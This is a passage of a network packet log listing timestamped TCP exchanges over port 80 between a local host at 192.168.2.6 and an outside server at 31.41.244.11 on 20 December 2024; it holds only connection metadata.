Dec 20, 2024 17:43:31.148739100 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.148844957 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.148885012 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.149645090 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.149688005 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.149736881 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.149776936 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.150573015 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.150625944 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.150682926 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.150724888 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.151526928 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.151581049 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.151968956 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.152018070 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.152481079 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.152527094 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.152864933 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.152911901 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.153446913 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.153498888 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.153558016 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.153603077 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.154375076 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.154423952 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.154469967 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.154514074 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.155325890 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.155376911 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.155436039 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.155479908 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.156277895 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.156333923 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.156361103 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.156403065 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.157262087 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.157313108 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.157340050 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.157382965 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.158154964 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.158204079 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.158323050 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.158365965 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.159360886 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.159415960 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.159490108 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.159532070 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.160043955 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.160088062 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.160198927 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.160242081 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.161030054 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.161097050 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.161216974 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.161262989 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.161947966 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.161994934 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.162508011 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.162554026 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.162885904 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.162930965 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.163113117 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.163156033 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.163872004 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.163918972 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.163958073 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.163999081 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.164784908 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.164833069 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.164980888 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.165020943 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.165766001 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.165833950 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.165874958 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.165916920 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.166682959 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.166728973 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.167066097 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.167112112 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.167619944 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.167671919 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.167788982 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.167834044 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.168591976 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.168642998 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.168807983 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.168864012 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.169559956 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.169611931 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.169862986 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.169907093 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.170561075 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.170614004 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.170695066 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.170739889 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.171408892 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.171463966 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.171813965 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.171859980 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.172369003 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.172414064 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.172501087 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.172543049 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.173314095 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.173377037 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.173506021 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.173547029 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.174273014 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.174319029 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.174384117 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.174427032 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.175215006 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.175262928 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.175295115 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.175335884 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.176136017 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.176183939 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.176501036 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.176543951 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.177115917 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.177160025 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.177306890 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.177350044 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.178087950 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.178138018 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.178294897 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.178339958 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.178997040 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.179044008 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.179127932 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.179168940 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.179981947 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.180022001 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.180032969 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.180063963 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.180913925 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.180969000 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.180984020 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.181032896 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.181849957 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.182123899 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.182178974 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.182820082 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.182899952 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.182949066 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.183758020 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.183815002 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.184272051 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.184319973 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.184742928 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.184788942 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.184953928 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.185003996 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.185674906 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.185719013 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.185748100 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.185789108 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.186589956 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.186636925 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.186744928 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.186789036 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.187531948 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.187583923 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.188050032 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.188097000 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.188471079 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.188514948 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.188802958 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.188851118 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.189466953 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.189511061 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.189570904 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.189614058 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.190366030 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.190413952 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.190696955 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.190747976 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.333324909 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.333420038 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.333467960 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.333540916 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.333611965 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.333627939 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.333653927 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.334536076 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.334582090 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.334687948 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.334729910 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.335477114 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.335524082 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.335588932 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.335630894 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.336515903 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.336565971 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.336743116 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.336786985 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.337081909 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.337135077 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.337241888 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.337285995 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.337884903 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.337970018 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.338133097 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.338186026 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.338742971 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.338804960 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.339148998 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.339195967 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.339716911 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.339765072 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.340046883 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.340651989 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.340718985 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.340753078 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.340837955 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.341664076 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.341772079 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.341825962 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.342561007 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.342648029 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.342699051 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.343496084 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.343542099 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.343697071 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.343861103 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.344444990 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.344489098 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.344789028 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.344867945 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.345385075 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.345444918 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.345525980 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.346364975 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.346435070 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.346671104 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.346946955 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.347291946 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.347384930 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.347441912 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.348267078 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.348428965 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.348489046 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.349241972 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.349298954 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.349416018 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.350152969 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.350210905 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.350399971 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.351064920 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.351119995 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.351170063 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.351214886 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.352020979 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.352103949 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.352163076 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.352974892 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.353070021 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.353147030 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.353934050 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.353976965 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.354309082 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.354862928 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.354907036 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.354964972 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.355840921 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.355870962 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.355918884 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.355961084 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.356758118 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.356915951 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.356966972 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.357700109 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.357734919 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.358407974 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.358658075 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.358707905 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.358902931 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.359643936 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.359697104 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.359751940 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.360596895 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.360650063 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.360763073 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.361504078 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.361555099 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.361761093 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.362468958 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.362518072 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.362680912 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.363500118 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.363516092 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.363560915 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.363588095 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.364392042 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.364448071 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.364634037 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.364697933 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.365340948 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.365391970 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.365561008 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.365602970 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.366270065 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.366312981 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.366482019 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.366524935 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.367178917 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.367224932 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.367278099 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.367320061 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.368150949 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.368201017 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.368215084 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.368256092 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.369111061 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.369126081 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.369189024 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.369203091 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.370064020 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.370117903 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.370143890 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.370193005 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.371023893 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.371078968 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.372076988 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.372092962 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.372126102 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.372138023 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.372183084 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.372226954 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.372888088 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.372934103 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.372983932 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.373023987 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.373853922 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.373905897 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.374293089 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.374336958 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.374758005 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.374803066 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.374871969 CET	80	49736	31.41.244.11	192.168.2.6
